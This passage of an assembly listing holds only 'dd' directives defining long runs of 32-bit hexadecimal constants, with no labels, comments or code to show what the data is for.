0E0F5B0FDh, 5A263C2Dh, 32A87D75h, 6BAB2F28h dd 0F2FC90CEh, 25E0546h, 0BD61958Dh, 7626E096h, 0A728289Eh dd 16F23F88h, 0F4CCC2D3h, 3F0EDC57h, 5B311273h, 0EB5FFCD9h dd 0A74838CCh, 0A14B755Ah, 51143D5Dh, 2A2D3462h, 3CC90B68h dd 0F5268626h, 6A191D2Dh dd 0D09831EEh, 649DE5A2h, 7F92041Bh, 0F6FA6B78h, 2B80630Eh dd 48331B7Fh, 2AA95BD3h, 0AA9778F1h, 6A0D9680h, 79069519h dd 14CEF1BFh, 2955034Ch, 196E415h, 20F09199h, 62B7DD22h dd 0E96A69CBh, 801901C8h, 7C4417CEh, 15B7A3B7h, 3790880Eh dd 0DED6EF40h, 28D12AF7h, 2937A879h, 5235A478h, 60C227DCh dd 0E5095B4Ah, 80ABC79Dh, 0E085E5BAh, 726550D5h, 0E2ED395Fh dd 0C334910Dh, 0B510194Bh, 0E00CB2C6h, 0B5482269h, 0C0A36419h dd 0E45AD85Eh, 0F48BBC6h, 919088EEh, 0E660D6A7h, 8D3EFE8Bh dd 7AB01271h, 48C0D7B7h, 0CBE1D273h, 0BBD09331h, 0C849ACDDh dd 52AC5BDh, 70108BE5h, 0E0CC3AC0h, 0B84AA4Dh, 3ECED108h dd 34908950h, 86335FB9h, 876FA5F7h, 8CB5BF18h, 9B2A7ACAh dd 8D2CCF81h, 0D446938Ah, 30CC8DB0h, 498AACB0h, 6355700h dd 15BD86E4h, 431DD46h, 56926251h, 8AD6EE9Eh, 21A137C5h dd 230E61B3h, 55AC472Ah, 0EBDF485Dh, 201FF3E0h, 630A52B6h dd 5C0EFF0Bh, 3BC92A03h, 0A3F4B98Bh, 0E6B2019Ch, 0C6E7397Bh dd 0BC486495h, 5A0C5696h, 4CB75652h, 3381B956h, 1AFB5B3Ah dd 52A0661Fh, 560A332h, 2226787Dh, 1D29E733h, 41F259B2h dd 0B34CEF3Eh, 0E7CECB23h, 89117C8h, 29AFFFC9h, 2EF03F61h dd 0E29F755Dh, 0F5AA3277h, 0E3F834A2h, 2DD68A65h, 9F83C638h dd 8C5EBDD6h, 65611Fh, 0DFAC4D5Eh, 501D50E5h, 3C07C587h dd 9DA234F1h, 175C3200h, 2851CCECh, 0C6DCB2AEh, 3563F58Fh dd 2D77A34Eh, 0B0569BCh, 20F94C19h, 1824C2D7h, 9FAB808Ch dd 5B345346h, 6D3C2CB1h, 197DDD25h, 55D1F9DCh, 7FFEDBCEh dd 0F4F434CAh, 7644301Eh, 451BC284h, 1E135CF0h, 0AE875324h dd 6998DDBEh, 0C0F5A9D8h, 7B9D3C46h, 772B1825h, 0F238A364h dd 0E7F74175h, 52B3AC4Fh, 97C68AEFh, 0F2397A0Dh, 284A4711h dd 300A53A0h, 0C10E4297h, 0B2675BFh, 7E9E1045h, 0CDF0DD3Ch dd 0A46C3B40h, 6ABA307Dh, 0E26BC4B1h, 0E5B35B49h, 0F33E5661h dd 39F94FEDh, 809AC397h, 1CACF272h, 0FB61FC0Dh, 0DF1BB56Dh dd 0B1C6CDFAh, 0E5F74DDBh, 0CDF07FC6h, 26C6139Eh, 0D2DAD44Eh dd 0BC33D417h, 0B6B79890h, 37813B83h, 98E9DB32h, 5A9B07CAh dd 56AC04E6h, 6879218Ch, 0DD970040h, 4FA38CF0h, 6D4E9BA0h dd 51FD722Ch, 56684303h, 863B55AAh, 2A16C191h, 0FEBAB63Bh dd 0F6D8F088h, 0CA162DDDh, 65FDC373h, 54F24C40h, 0EE4FE6B8h dd 0B1A14A4Eh, 9275EE5h, 17FDCBA8h, 0E19F05B2h, 822D9167h dd 78A14F83h, 48BB6DAFh, 63772018h, 5F2F3EE8h, 896C47F5h dd 96D01615h, 8D1DD709h, 8D65632h, 0C426D905h, 3C099A4Eh dd 0C46D0A13h, 1119EEE1h, 37AEF1E8h, 9639D68Ch, 1AB7FA43h dd 7E936E7Ah, 2F166963h, 0F1418BCDh, 0C2FEBEB3h, 20A45693h dd 0EA9341BCh, 0D3BDF7B0h, 0A59951CCh, 3EB67CFAh, 48CDEA65h dd 0A5AA5956h, 7193F1BEh, 4417414Ah, 4B705863h, 97E0496Ch dd 0AA894656h, 13AAB1D3h, 0D0E4DF75h, 4F5A2482h, 0CEE784DDh dd 0FA67E81Bh, 8508AC09h, 0EDE2FD6Ah, 5D4B2137h, 0D4CAAC2Ch dd 2D131A4Bh, 0CB6EF808h, 0D350BA01h, 3070B6ACh, 0B925D2Eh dd 53EC045Fh, 8D2893B6h, 0E806C200h, 54913FDAh, 73C42E15h dd 0EC7FEDDBh, 0DE2500DBh, 0C613EDA4h, 0AFBC20E0h, 3F593C08h dd 7F564BE8h, 855DEFD0h, 0B6225A4Ch, 7B17F210h, 0B5D541B3h dd 0A3D159CEh, 9050C954h, 0D7518679h, 231751DBh, 0B132AF73h dd 10451D84h, 0DD52192Ch, 0A620ABE6h, 90D50CF6h, 2A73AC17h dd 8B03888Ah, 6CEF79F1h, 0B8014DA6h, 5CD7D2FDh, 0B9142C78h dd 9BAD7D96h, 0A1033F3Dh, 3024B310h, 26CD4AB3h, 0EE34A850h dd 50980C1Ch, 0F3D8B904h, 867A28ADh, 72226362h, 0F7125B71h dd 0B13C7988h, 0B899163Ah, 30F65837h, 0F2EDF8C5h, 347A573Ch dd 0F0BF451h, 9AC34099h, 0B6565A59h, 52154919h, 0DEB0C699h dd 5087F1F1h, 0FD7A7F4Ch, 7460F58Dh, 0E6406D2Ah, 0FDB99DE2h dd 0A09197F3h, 4D566F91h, 9292EA4Ch, 4F57C917h, 0A4259510h dd 0A5CA3EC3h, 0C48D5E52h, 0F1E9C59Fh, 0CB26FBBBh, 1235D155h dd 46F5F99Eh, 6C3070C1h, 3E85E8D7h, 31D9CB22h, 5C7A9F81h dd 0C423A7EBh, 0F01238B1h, 56BC4AABh, 12D90ED0h, 6D165CF9h dd 0E7DFAE5h, 3BB25017h, 0C6EFF4DFh, 53F1435Ah, 0BCDF5A79h dd 38C9C8F2h, 31150796h, 7B090F0h, 4523CE46h, 0D03CAC8Ah dd 5076402Fh, 8EEE8EE7h, 0C48C1FF6h, 3D602214h, 0D935CD09h dd 2C4A5932h, 0DC1CDF85h, 21AE9B8Eh, 0D4B089B3h, 3A0AEB1h dd 327A5100h, 0A2800698h, 1262927Dh, 57ADC271h, 0B703BF6Eh dd 0AF5EEECFh, 0C7FB0D32h, 39A3F1D3h, 0EB92155Ch, 943C5C60h dd 431907F6h, 62365616h, 31CDFCADh, 0A5EA52F1h, 92B3F772h dd 6CE743E0h, 0D485B96h, 67E90FC0h, 0A942EFBh, 0C854DFBFh dd 8BAB5E30h, 5E562D8Bh, 3B55CD5Bh, 0CA29028Eh, 0A8C88D84h dd 7754B8F7h, 0B31C4CACh, 207C45BDh, 0A9A5A235h, 5C307553h dd 0A74FBFF6h, 7564E3C2h, 5796B5EAh, 16024EB2h, 0B586FA5Bh dd 0FC6E3110h, 0CFEA0010h, 568C6929h, 0F5120F96h, 823CB52h dd 2E7749EFh, 2DD82A8Ah, 0BB3D6A79h, 1E5656C1h, 44B8BA16h dd 38013C93h, 0F21EA20Eh, 6705428Fh, 0FB9C1C92h, 0A7C0A78Bh dd 0E92DE2CCh, 0D4DA3593h, 3CD4B28h, 3725DC8Bh, 654C9B40h dd 0D724B6A6h, 0D8393595h, 450BF214h, 9A6DF7E8h, 6E09919Bh dd 0B4327244h, 2FF613D0h, 82C4FCDBh, 714AFF20h, 4AB23655h dd 966CE295h, 0D9E656B6h, 477C54CDh, 7ACDBB39h, 0EB33020h dd 0DB7B59FEh, 0F242B757h, 76776F3Fh, 2E7A34D9h, 66996757h dd 208618B5h, 0F804B8F0h, 9CDB1EFEh, 23059FF4h, 73B34284h dd 755218A9h, 0F8312DB8h, 47B6A3CCh, 474CF0FEh, 3B21932Ah dd 1AC0D1F9h, 6414A55Dh, 0A3554CA6h, 0BFC32DF6h, 21BEE2F1h dd 0ABC35C49h, 4CB1C777h, 0B8FFC2F6h, 47C8DAC3h, 0A0957856h dd 530060CFh, 4C8BD191h, 626ABA6Ch, 54A78D60h, 12BF615h dd 0C1ECC1C0h, 0DBBA19A1h, 527B4F86h, 0F1519215h, 58777182h dd 29DF3B21h, 0E49871AEh, 0D7165402h, 94B18ACCh, 0EB72707h dd 0C3D99FDh, 6BA142C0h, 0D84237C2h, 2C148EADh, 395F46C6h dd 0E668D7FEh, 0E1DC2B11h, 24770DDBh, 12B3206Eh, 0DED479E7h dd 0A17022A2h, 46FBFF52h, 0BBDCF647h, 22487673h, 0ACB28A05h dd 43E75437h, 0C5E30F76h, 647D9FE1h, 5D820FAEh, 0E46E6A4Dh dd 6092FBEAh, 6E6A333Fh, 6B826193h, 0BDABE724h, 9F28CEE0h dd 434F4E9Fh, 0B6786302h, 583C220Bh, 56A6DF0h, 0B64637FAh dd 0D74DBF02h, 0B9593F52h, 0A5FE95D2h, 4A1703A2h, 5B0218A2h dd 4E053CAFh, 11A722D2h, 27CAB0B8h, 0BCF18D42h, 79D752C9h dd 0A4EB845Ch, 8508AFE0h, 0E7C5B7h, 45509D2h, 112103A7h dd 74BB7FB0h, 2E14EAB2h, 0B37F497h, 1535E990h, 3E8ACC37h dd 0ED32B8B2h, 0A48D2047h, 2F58B26Dh, 0C9B959Fh, 0CA505836h dd 716E4C93h, 0D4A18551h, 0F2F680DEh, 0F8CCD9B7h, 6DBD654Dh dd 0A347CE66h, 64416A6Ah, 8FAB26B6h, 280368DEh, 0CC311712h dd 5BCA507Ch, 0E3DDDF3Ch, 0D2841F58h, 0E71E3F09h, 5486D540h dd 0A6C3319Bh, 0DA5FA60Fh, 2B2CE685h, 0F51B3C7Fh, 185BA228h dd 863CB41Ch, 0B908B3A2h, 7189B7EFh, 56D6A7Ch, 8BB23DDEh dd 0F014C3DDh, 5361ECA7h, 0F7082DFCh, 8A3CC8BDh, 611D56A7h dd 1858C3C1h, 43586934h dd 3FFBDC33h, 0FC8129FDh, 6E608B56h, 38D5F608h, 284CBF3h dd 214A154Eh, 2E44254Ch, 0E03A17BDh, 0EEDDF34Fh, 14559054h dd 16650378h, 7093B57Eh, 0FC1C7EC9h, 4B9F023Eh, 0F63BD15Dh dd 760EB4B8h, 0C195A3FFh, 0A06BA3B1h, 35358677h, 24CA5B2Eh dd 6FBEB521h, 95DD4AE7h, 4F38ED8Fh, 2139C4CAh, 6BCBA43Bh dd 88EE563Dh, 643B0201h, 0C20FC253h, 0BDB4808Dh, 36A09951h dd 2E3877EDh, 0DC6B81C9h, 0C869A885h, 738FCAFh, 62465861h dd 0CA8A7990h, 0CC902953h, 585A78B3h, 255137E7h, 7697128Ah dd 0D587717Ah, 0E535D49Eh, 0A34E12D8h, 110CB455h, 0C46A7E77h dd 0DB8C00E5h, 0B82CC5A6h, 0BCD517F8h, 5C253348h, 0CE8B527Ch dd 0AD8CCDA5h, 0E377C51Bh, 51F12A58h, 915E138Ah, 4DF4FD86h dd 5FBE505Eh, 0A97CE03Ah, 503EDB78h, 93916307h, 0D5B3F5DFh dd 8832E32Ch, 4FA90476h, 27484F67h, 41702F56h, 0FFDF6756h dd 0A25EB528h, 941ADDE7h, 0FEFE0128h, 4AF04113h, 0B53B0C67h dd 8025534Fh, 1E557B0Bh, 0B82E90A5h, 7C9515E7h, 0C96B234h dd 0AAB12371h, 0B880F4F7h, 3D7999A8h, 1E62A1F3h, 0DFC8D7C7h dd 0A34820CAh, 725C864Fh, 81A06BF7h, 0FF16EC6Eh, 993DD50h dd 0DFB3B1EFh, 1FC764E5h, 551D46BAh, 7AEDD6FDh, 751333FAh dd 2ED0F3D5h, 57C27F9Eh, 0C9475C90h, 0EAD2A9EBh, 2B2CAD4Bh dd 0EB616619h, 4658DE51h, 9DBA5BDFh, 5392B584h, 302A7859h dd 6B44301Ch, 7EEE788Fh, 0DE9F3D6Fh, 19EA7C2Dh, 0FB1E645Ch dd 0B8FE333Eh, 1A6D7763h, 4CF6739Eh, 7DC02892h, 289CA8C3h dd 0F3B5928Dh, 0B6D10B6h, 0BE75F74Bh, 86B098E1h, 1A08B979h dd 4CC059B2h, 4C4ADFE0h, 0D06A662Fh, 5915751Fh, 39251072h dd 8E5796B3h, 0C9EFE2B3h, 7767BF3Ah, 5EAE9612h, 6E3816A0h dd 52E5DC5Bh, 245A026Ch, 61429288h, 0EF0B658h, 0B39BDA73h dd 0F77F6F2Dh, 564E9384h, 25D5C6BCh, 0A5C3FE16h, 717030D5h dd 0C6132BF2h, 9CD7F27Ah, 2E6F96C2h, 0FAC401BFh, 1A5717DFh dd 1E1DA5B7h, 2B5D01A6h, 6EF8FC80h, 2C14BFAAh, 0D663AFA8h dd 352B96C8h, 6D583B44h, 0E9340D8Fh, 0C835921Fh, 0E537F970h dd 0FD919C47h, 41898984h, 176453EBh, 87573B41h, 3BBE4494h dd 475EF2E0h, 0E2C53478h, 695DDAF1h, 2495D9D5h, 0FCA7D4B5h dd 0D94F8848h, 1E4E0B9Fh, 0C47C120Ch, 67631394h, 4C279FA5h dd 1A7B1D21h, 2142B850h, 15CC293Dh, 4D8F71FCh, 5E5A9203h dd 23A75807h, 0D34D1C56h, 0A91D1810h, 0CBE2636h, 0B14DB331h dd 0EDB41938h, 78B61004h, 3FEF4D80h, 5BE959BEh, 697327A6h dd 446AE7F5h, 8F0554CAh, 0CE0DC3B2h, 0C0A9455Ch, 5C766236h dd 0BD660573h, 0AD5BF8Fh, 7ABF6CE9h, 60A1EF69h, 0BBB52D71h dd 0FDED776Eh, 0E43B2F56h, 33E506F1h, 69002D67h, 0AD583983h dd 6E17CE4Bh, 30FD4D8Bh, 93396247h, 8257ABDCh, 1FA5F41Ch dd 531025AEh, 5E848607h, 0EB454975h, 9A7834BFh, 11A643h dd 0AE20FC35h, 86612437h, 585F68DFh, 61B0B9D1h, 4A93781Ch dd 47526E8Bh, 0F6A02189h, 65A6E842h, 0A681E8C9h, 0D2E5149Eh dd 19702D48h, 0B9C516BEh, 46991A08h, 50F32971h, 744748A8h dd 0DF3F3A37h, 0F2B07BEBh, 57E66E34h, 1CC6BF62h, 1FDC1785h dd 7C78272Ch, 925E3224h, 447D2BF7h, 573E0677h, 0EEF5682h dd 0A095B53Dh, 37255FC4h, 68D6D50Eh, 66EB0589h, 5B3BCE22h dd 5373C306h, 691C59A8h, 0DBC2C6E6h, 94ADB676h, 0C161904Ch dd 0CA9CDB9Bh, 0BFFF225Bh, 43F47E8Bh, 13832D95h, 0A85EC492h dd 57B8582Bh, 0C4D6437Ch, 0E49A0EFFh, 0E89035DAh, 0DBEA01DAh dd 0FE93D80Eh, 19D59AAAh, 403A3558h, 41F75361h, 63A31399h dd 0FF3A249Bh, 0D52CFED4h, 2CD1C132h, 8498ACCDh, 4DB2D5B5h dd 39EEE063h, 0AFCCF092h, 74BB593Ch, 0D9998A50h, 1D98A14Ah dd 6ECEA7AAh, 0D9219F33h, 14687C8Eh, 5419A1CAh, 842658D8h dd 8AECF605h, 7F77499Eh, 8CA41A4Bh, 20D3CAB5h, 0F86D9021h dd 4A41A677h, 1868D43Dh, 178FD911h, 0F1A1F25Dh, 520DD818h dd 1540DF09h, 0E256D8F4h, 0BD222444h, 0E779AAC8h, 6EC7783Ch dd 0E0422C8Bh, 847C1BDEh, 0D1FBD2D5h, 342AD4A2h, 9AB51040h dd 888EFF4Ah, 9A419400h, 5471DC2h, 476DA6A5h, 5658866Eh dd 2C2015BBh, 0AB6027EDh, 6678CC4Bh, 485DDE6h, 0A1BA9518h dd 3D84A103h, 0FCFBB20Eh, 0F35C4A8Ch, 0AEE8212Ch, 2457DA17h dd 2E64F9F5h, 8CA45542h, 4268F580h, 0E512D0FBh, 0C9F3338Ah dd 9DA6A58Bh, 0F6DD1B11h, 4155AB90h, 0BEEF5CE8h, 0F60280F4h dd 0EC41F056h, 2B730CF7h, 55301816h, 3BADC7D4h, 4D5A1909h dd 0FD24DD9h, 0F1601C94h, 908D45D5h, 9EF9490Ah, 8D2A74DEh dd 0F7BA7F9Eh, 0A3FDDE59h, 215BE00Fh, 0D7761898h, 7F58675Eh dd 8D0E58C3h, 0E2CCC61Dh, 0B16A5DB6h, 0E4527372h, 0CC28C894h dd 0ACF12081h, 167BDF61h, 0F8DDCB2Fh, 0CB60CC4Ch, 7FB5313Bh dd 3891FF84h, 7419F18Ah, 0D29F328h, 0F50993DBh, 0EEE9D0B6h dd 43B9F805h, 395E207Ch, 4D577510h, 1DE70CDAh, 56F68186h dd 848CBC1Eh, 0FEE4728h, 398FE132h, 2139351Ah, 209E8815h dd 0FA6AA2E1h, 4EB6D68h, 0E09F7563h, 594B53F2h, 0E184F8F2h dd 52AFAA31h, 4D640EE1h, 749288E4h, 211AF105h, 0C8453B34h dd 67E73ABFh, 58F6FC72h, 0B2A4431h, 0B74FB0D4h, 0DC76BA02h dd 28006043h, 686E2A8Fh, 2789144Fh, 7A9C0F63h, 35615593h dd 6F67B960h, 80F46655h, 0A5022635h, 48A878F7h, 46B7CEDFh dd 9257D63Ah, 58DF4E36h, 0D59715A7h, 127BB8C3h, 85481300h dd 249D68A2h, 0A12EEE58h, 0BB365C2h, 7CD77378h, 9C8915EBh dd 3BD5D8B6h, 4CC2C6DCh, 0B6C9ED22h, 0C67B8D69h, 931429AEh dd 1B5180EDh, 0D52B6894h, 27FA6788h, 42F37452h, 0C23D0B6h dd 0FF47CD1Bh, 0FAFEE6EEh, 0E9CB5EFEh, 78456B73h, 9CB27E6Bh dd 60D3052h, 0A4B4AD17h, 0D8C7742Bh, 0F944EB72h, 5BE3F42Dh dd 798CBA46h, 0E2080493h, 119A2115h, 5E08B52Bh, 9B2DCABAh dd 82AE76CEh, 6B784F0Ah, 98070121h, 937DF297h, 8FDAA92Fh dd 0D9CFE744h, 658F695Ch, 9A5E2F75h, 3D0C9331h, 5F647E9Fh dd 6BC7DB5Dh, 33C1844Fh, 0C0E0606Ah, 26F0625Ch, 0FB29BF6Bh dd 0F4CBC0ECh, 0D039CC42h, 0E350983Dh, 82722B5Eh, 0B986F1B9h dd 342E895Bh, 3CA98770h, 0C78EF551h, 0FFBD498h, 0C0219CE6h dd 0E0D0C091h, 0FFAE469Fh, 12AD75B4h, 381FBB39h, 6D89F8ABh dd 678AF6C0h, 0FD6E618Eh, 57C928F0h, 666EC800h, 0A589D2A5h dd 9CBE71D0h, 17ED509h, 3744C852h, 566DD0AEh, 0FDD8BD0Ah dd 6950171Dh, 0CD706F02h, 7ED8A0E0h, 95CD5063h, 1E6F884Eh dd 79BB935Dh, 0F54334E4h, 1FD166A0h, 0C63A2167h, 28596223h dd 79FDB4DAh, 0B8499973h, 8F80A3B3h, 0C917AFC9h, 1058D2A8h dd 52492039h, 817978D3h, 3A0021B3h, 8335909Bh, 0E114DFBFh dd 0F0F45DB1h, 16B5DDEAh, 390E00EEh, 7BBF8E92h, 5D600AF5h dd 8D2ED0Fh, 665B4F28h, 35899B1Ch, 0EBE36CE5h, 0DC2F40EEh dd 0BBBCFC2Dh, 7D7B1190h, 2C9C83A3h, 4F913E2Ah, 0D3EF9277h dd 0E4C1482Fh, 35F792AFh, 237AA677h, 0ACE3F45Bh, 0FA673A6Ah dd 0FAE5D882h, 0E9E23795h, 0D32CAA25h, 9173945Bh, 0F510310Ch dd 0F54DEC81h, 7B38558Fh, 2F5BD0ADh, 68F5539Eh, 9540ED53h dd 711355B1h, 21012280h, 36C88838h, 2BB55D2Ch, 5297BC0Bh dd 2AF52326h, 0E48B0E06h dd 7CF74AFh, 265F82DEh, 1780F33Ch, 806C5B52h, 0FDE0E2AEh dd 64928201h, 0C5C45B8Fh, 37CB6A24h, 2BC298E1h, 41F6275Eh dd 3FD8CCCEh, 647CFAAAh, 3236A87Ch, 980F44DBh, 0E47A3324h dd 0E56757AEh, 0C5AC368Fh, 77442F27h, 0F86EE655h, 10935B89h dd 0A2839A49h, 0AC904D64h, 68E0C817h, 4D27C32Ch, 0ABD63E75h dd 12AFDAA9h, 9C2D9483h, 26DCF9B5h, 90A58F63h, 0FC1A5925h dd 0EF363A38h, 0FDACD4B7h, 0CDF8A3EEh, 33409DF6h, 0B09A6C29h dd 0C4ECA1DDh, 81A3556Ch, 45F6D5E2h, 20D1D93Dh, 4F465716h dd 0A603890Bh, 0F1111890h, 2F52C0EFh, 0A7AF18EFh, 71B1E84Dh dd 72512955h, 122EEBE9h, 0BB7E4C42h, 483799B4h, 0A68DC51Ch dd 1880D856h, 0AD2FC607h, 6EA6A105h, 5A80C648h, 0FD79FF0Bh dd 0F36C1EA8h, 0A9FC733Eh, 5630CB40h, 459B5F22h, 0B358743h dd 6E121FC3h, 0B3F9D195h, 0EE001F1Fh, 0D0B395AFh, 61EC456Dh dd 0BE4EBCB9h, 0AE9418C5h, 0F864C57Bh, 0DA6AC75Eh, 495FC0C6h dd 3F64FBBFh, 879AD8D6h, 0A81C0129h, 70A4997Ch, 9E296CA7h dd 0D5CE4466h, 0F39C5ADEh, 78D4AFA2h, 1CE67AC9h, 1C91EF75h dd 0BC8B41B4h, 0BCC8EA13h, 4851615Ah, 4DB6B58Bh, 0B01D08C9h dd 469C3A4h, 0F1C7F3B7h, 2BA9009Ch, 212F79DDh, 0DD8897C6h dd 0B7C18F6Ah, 42E5FB60h, 0E20E0FDDh, 0E8C4EF16h, 6A0FA551h dd 2BB3C43h, 82E747C8h, 1C444808h, 0BA9CB2E3h, 0EED23E0h dd 3F236F1Eh, 0BAB6472Bh, 70F13219h, 0BBD68068h, 783BCEC0h dd 0E1B541CDh, 54B3081Dh, 8A09F949h, 0EC7A98CFh, 6C6728A8h dd 0A793F890h, 8FF07A47h, 2793FDBAh, 0E152C61Fh, 0F196157h dd 47993A06h, 0A601F284h, 0AC5CEA89h, 0A64E702Ah, 45F99E59h dd 8D436EF4h, 6B9695E6h, 2A46C0EFh, 3EAF722Bh, 2422B835h dd 7ADB72B7h, 4C19B2E4h, 45B18560h, 1AED8BD5h, 9C4A528Eh dd 3592C128h, 3D60CDC8h, 1DEE93FCh, 79B932Dh, 854C3F91h dd 4D03312Bh, 88EA8FEEh, 210FE5D1h, 5368FB99h, 0F018D381h dd 0BB405BE5h, 0B9EC788Bh, 0EC7DBCC8h, 2B62D170h, 0B12744BFh dd 208F121Ch, 49817854h, 2D2BD085h, 25223E47h, 6345FA6Ah dd 63D20E99h, 183BEBEBh, 5FE0E41Dh, 3520D753h, 0E09906D1h dd 0AE3493C0h, 629C9637h, 9435E13Ah, 0BAD8B23h, 5D540A8Fh dd 105CC469h, 0D49322BBh, 102145C8h, 42BAD90Eh, 0B0DE4CD6h dd 881BA0Ch, 99DFF715h, 0DC4A8AE2h, 0C501CC04h, 88939E6Ah dd 222C32A3h, 4531BF63h, 0D85FB7A3h, 43798062h, 0F835916Ah dd 0BF8B6987h, 36BD9C1Eh, 3ECC4BEDh, 39AE32F2h, 68B25E74h dd 8FA07A61h, 2C95E114h, 425A7321h, 0C914C7ACh, 0B7FABB3Ah dd 53B2B7C5h, 9CD9C81Eh, 0DA1656E3h, 7E855D11h, 28549B9h dd 77E0B26Fh, 99852BA5h, 0C040C2F2h, 60178801h, 346885E3h dd 29D46EEDh, 91C3A391h, 74851AE5h, 0CD55D9B7h, 3484C4D6h dd 0E22CE225h, 382F77ECh, 2EF8CA6Ah, 0B7E19B49h, 76E51240h dd 0BBA2E6E4h, 0EC843F23h, 0C0D1DAA5h, 0B76E9501h, 17558E68h dd 9A156CBAh, 0D59BE656h, 3481D37Eh, 6518A759h, 4FAAA490h dd 9DCDB36Eh, 5C4F0DD9h, 396F2776h, 6C41B7ACh, 0C3A55409h dd 55A518A4h, 3390C748h, 0F71EACBh, 0B0C85516h, 0FA6D35D6h dd 0A58EBF9Bh, 0C5B86322h, 997867C1h, 4A7E8B77h, 7F546466h dd 5EE17A7Ah, 60D9F230h, 973A239Eh, 0F4B2DFDDh, 99B7E58Eh dd 180CC18Bh, 0C6FCC56Dh, 42A2C3C2h, 9E09B6A1h, 421AE969h dd 7E413C2Eh, 9BEC34CEh, 5C5A278h, 0A04F77BBh, 33B83EC7h dd 0A48740A6h, 0CCFFAA37h, 0B522E45Ch, 1ED10FFDh, 0C02E43F5h dd 7C6E3BE1h, 0CC3CA824h, 0EE15AEBBh, 0AC732179h, 98CB284Bh dd 3007CADFh, 0B188AF8Ch, 0AF022C13h, 21E77693h, 0B86D1F25h dd 1860F64Dh, 0EAD9A5D5h, 552E7A3Ch, 0A72CF18h, 0C5832F06h dd 0D63C41Ch, 0D603CEA3h, 6A54FD6Bh, 0FAADA328h, 0C0B94E29h dd 0E390F401h, 175122DCh, 152D5DCDh, 5AF29573h, 41C2B84Eh dd 9E453299h, 32B36AC4h, 0B00CDF2Ah, 0E7359EFBh, 0EF093DB8h dd 0A36BF845h, 78FCD907h, 40BB4F47h, 0E7831D97h, 644B4E9Fh dd 63297462h, 11DA8AC5h, 0E617509Ch, 0DC355212h, 38FA293Ch dd 0DC4D868Eh, 0BCD62029h, 50328541h, 46CCF052h, 3730C9F7h dd 10FDBAF1h, 10CEF5BEh, 0B10AA7ACh, 41C9247h, 36D46FD1h dd 0C3600999h, 0AC53D70Dh, 2E29181Bh, 0DD71E5DDh, 1EB9B541h dd 1C4F0BBDh, 0B9EEC4A9h, 56538A21h, 87A042F6h, 68BD87A3h dd 0F3467FC7h, 0CC68F93Bh, 97A7D02h, 26FBFB26h, 7B1735Ah dd 0FD0C0213h, 258510D6h, 0A38A8688h, 4769F869h, 8F4AEAA4h dd 0A62DC6FBh, 0CEEA9CF2h, 8BCCBCADh, 0AB146C01h, 0CC95A54Dh dd 5E7A64D1h, 76E41B7h, 0AE596D3h, 0D35D3EACh, 76C8F3BEh dd 94FBB245h, 1D667554h, 962BE555h, 648C25EDh, 7F805736h dd 4FFA2CD9h, 90E961h, 91D014BAh, 96593A21h, 7CB954E9h dd 0F913E216h, 0A4652EB1h, 0AECB13CFh, 0E2B9B916h, 0D2A11D8Ch dd 0E3C00B68h, 0D9A8B3B3h, 7C9C4CB1h, 0C8CF9A60h, 5A6F2FA6h dd 93F9F7FAh, 0A084606Ch, 7CCB8AD8h, 0EBDB531Eh, 2C467FE5h dd 0EC4A0AE7h, 564D346Eh, 36D0B117h, 0AAAAE217h, 0B90EDB67h dd 4FE05E4Eh, 0F08E5683h, 0DCA8FE73h, 177D27D7h, 0D4B24D19h dd 0CCC419C1h, 8F906C34h, 9859D5A3h, 9C2B8C87h, 0E9F76097h dd 0A8478B99h, 160742A3h, 0D55A7439h, 5335C52Dh, 0CBD68D8Bh dd 88BE25FEh, 27AAEA2Ch, 0EDCAC2DDh, 0E8A02C96h, 0B315ACAAh dd 0F9071AE1h, 0EC775165h, 3A73A526h, 0C8E68FB9h, 0EE985718h dd 0A5C3C734h, 26DDAB07h, 9185B366h, 0F1591CADh, 1A56630Fh dd 63C29CE4h, 1D631A5Eh, 38F7A54Bh, 0A2198184h, 15C7EADh dd 4AAEC564h, 0E506FDDDh, 0A70AD227h, 1D4A4C82h, 3BEA781Dh dd 0E6FB9FADh, 0A32DA682h, 93769917h, 0DE937D64h, 0B8F8ED7h dd 7E9BB492h, 32685335h, 50EEECD8h, 79BF8A36h, 0E2D61C5Dh dd 14AD65D8h, 4E9A3346h, 554CCF44h, 6A22FBD4h, 4956633Eh dd 945B783Eh, 0F58A9A4h, 202593DCh, 0CD699D33h, 0FBADFDDFh dd 5C46F262h, 88C13DEEh, 0CA30B8B0h, 6EF3FE53h, 50439962h dd 0DFC4438Bh, 775DB7Dh, 13AD51D6h, 0DC81F19Bh, 0D356D401h dd 8D2A1594h, 73FBDB8Bh, 0BAF34CEBh, 1528CE64h, 0CA75ADB9h dd 65136B5Eh, 5DCE05FBh, 0E57A7719h, 84F8B5F1h, 0B279C3Fh dd 6B5AB180h, 6B65006Bh, 4F456736h, 0EC27B24Ch, 0E49A0FC2h dd 31BE9B99h, 7DE0D31Eh, 27F202Ch, 544605AFh, 69FC1DBh dd 0FEAE3436h, 0E3735153h, 0D9F4A422h, 0CD1A90CCh, 690E6F23h dd 0DE669B18h, 899FAA85h, 0CBE2D526h, 0D419F85h, 98B7F278h dd 321F36A2h, 4E9C58E0h, 90819A52h, 3646E9A2h, 32A7E209h dd 0FB380DE3h, 0AD6F5B70h, 0A59884BCh, 0D4072544h, 0E85795ECh dd 7344B2D1h, 0B373EB89h, 328A3D41h, 8C7F9085h, 0E7FFF50Bh dd 15EE2D78h, 33B28041h, 0FD056551h, 0A4328FF5h, 43A81496h dd 517AAD9Dh, 0D53EDBFDh, 0B6C59BFAh, 62A326E0h, 0CDE50EE2h dd 1F159E2Dh, 40D2393h, 73E3B4A8h, 0CDD9B8ADh, 7B85AA32h dd 6757800Bh, 0EDB840BBh, 0C99DA04Bh, 98D6835Bh, 0CB6856E3h dd 0B0DEAB46h, 79644B33h, 0CBD79551h, 0C4DC6332h, 184FC09Fh dd 0F63BDD55h, 3B4297E4h, 0BBDB13D5h, 7EB69B07h, 7CAD3502h dd 814E6CA4h, 325E3722h, 0A98B9C49h, 0CFE864FCh, 312EA32Bh dd 7C07DAEEh, 2590B33Dh dd 0FE446716h, 75BFC826h, 670513A5h, 0F283E21Bh, 0A9E424FFh dd 93D3927h, 4B20482Fh, 9954F05Bh, 722FDA7Dh, 8515B333h dd 0D2D66082h, 4A51C8C6h, 31100058h, 7131637Bh, 0BE46A2DAh dd 8F5AD573h, 0B5112004h, 963806ECh, 0E8F5ABC6h, 707F8C46h dd 0FC076D5Ch, 267969E5h, 0D66388E0h, 0D6CFB4BCh, 0A2F52FFAh dd 0A67D77Dh, 0F0D60192h, 484F84B1h, 0DE4A6F50h, 389FA111h dd 705F5C03h, 0AB8C73B7h, 3F528753h, 